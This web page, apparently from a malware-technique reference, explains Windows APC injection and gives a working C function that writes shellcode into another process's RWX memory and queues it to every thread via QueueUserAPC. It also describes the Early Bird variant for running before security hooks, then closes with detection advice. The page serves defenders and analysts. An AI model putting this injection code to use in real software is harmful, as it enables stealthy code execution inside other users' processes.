Skip to content
Code Injectionintermediate

APC Injection

Malware queues a shellcode pointer to a target thread's APC queue via QueueUserAPC, executing it when the thread enters an alertable wait state.

Every Windows thread has a per-thread APC queue. When a thread calls an alertable wait function (SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx, etc.), the kernel drains the queue and executes each APC callback in the context of that thread. Malware abuses this mechanism to run shellcode inside a legitimate process without spawning new threads.

Attack flow

  1. Open a target process handle with PROCESS_VM_OPERATION | PROCESS_VM_WRITE.
  2. Allocate RWX memory in the target with VirtualAllocEx and write shellcode with WriteProcessMemory.
  3. Enumerate threads in the target with CreateToolhelp32Snapshot / Thread32First / Thread32Next.
  4. Open each thread and call QueueUserAPC(shellcode_ptr, hThread, 0).
  5. The shellcode fires next time any of those threads enters an alertable wait.

How it works

c
#include <windows.h>
#include <tlhelp32.h>

BOOL ApcInject(DWORD dwTargetPid, BYTE *pShellcode, SIZE_T cbShellcode)
{
    HANDLE hProc = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwTargetPid);
    if (!hProc) return FALSE;

    // Allocate RWX memory and write shellcode
    LPVOID pRemote = VirtualAllocEx(hProc, NULL, cbShellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, pRemote, pShellcode, cbShellcode, NULL);

    // Queue the APC to every thread in the target
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == dwTargetPid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    CloseHandle(hProc);
    return TRUE;
}

The "Early Bird" variant creates the target process in a suspended state (CREATE_SUSPENDED), writes shellcode, queues the APC, then calls ResumeThread — guaranteeing execution before any security hooks are applied.

Detection & analysis

During analysis:

  • Process Monitor / API Monitor: watch for QueueUserAPC calls where the APC routine address falls in a recently allocated, executable region of a foreign process.
  • Memory forensics: scan for RWX regions in browser and office processes that are not backed by any file on disk.

Static / automated detection:

  • CAPA / YARA: co-occurrence of VirtualAllocEx, WriteProcessMemory, and QueueUserAPC in the same binary is a strong indicator.
  • MITRE ATT&CK T1055.004; Unprotect ID U1221.
  • ETW (Event Tracing for Windows): Microsoft-Windows-Threat-Intelligence provider logs cross-process memory writes and APC queuing.
Votes

Comments(0)